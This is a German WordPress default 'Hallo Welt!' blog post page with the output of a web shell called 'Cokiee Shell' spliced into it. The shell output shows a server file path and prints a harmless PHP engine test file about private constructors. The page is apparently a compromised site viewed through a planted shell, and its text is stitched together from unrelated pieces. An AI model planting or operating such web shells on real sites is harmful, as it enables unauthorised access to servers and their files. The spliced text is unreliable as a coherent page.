Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /usr/local/src/php7/php-7.0.5/Zend/tests/ |
Current File : //usr/local/src/php7/php-7.0.5/Zend/tests/bug44141.phpt |
--TEST-- Bug #44141 (private parent constructor callable through static function) --FILE-- <?php class X { public $x; private function __construct($x) { $this->x = $x; } } class Y extends X { static public function cheat($x) { return new Y($x); } } $y = Y::cheat(5); echo $y->x, PHP_EOL; --EXPECTF-- Fatal error: Uncaught Error: Call to private X::__construct() from context 'Y' in %sbug44141.php:15 Stack trace: #0 %s(%d): Y::cheat(5) #1 {main} thrown in %sbug44141.php on line 15
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare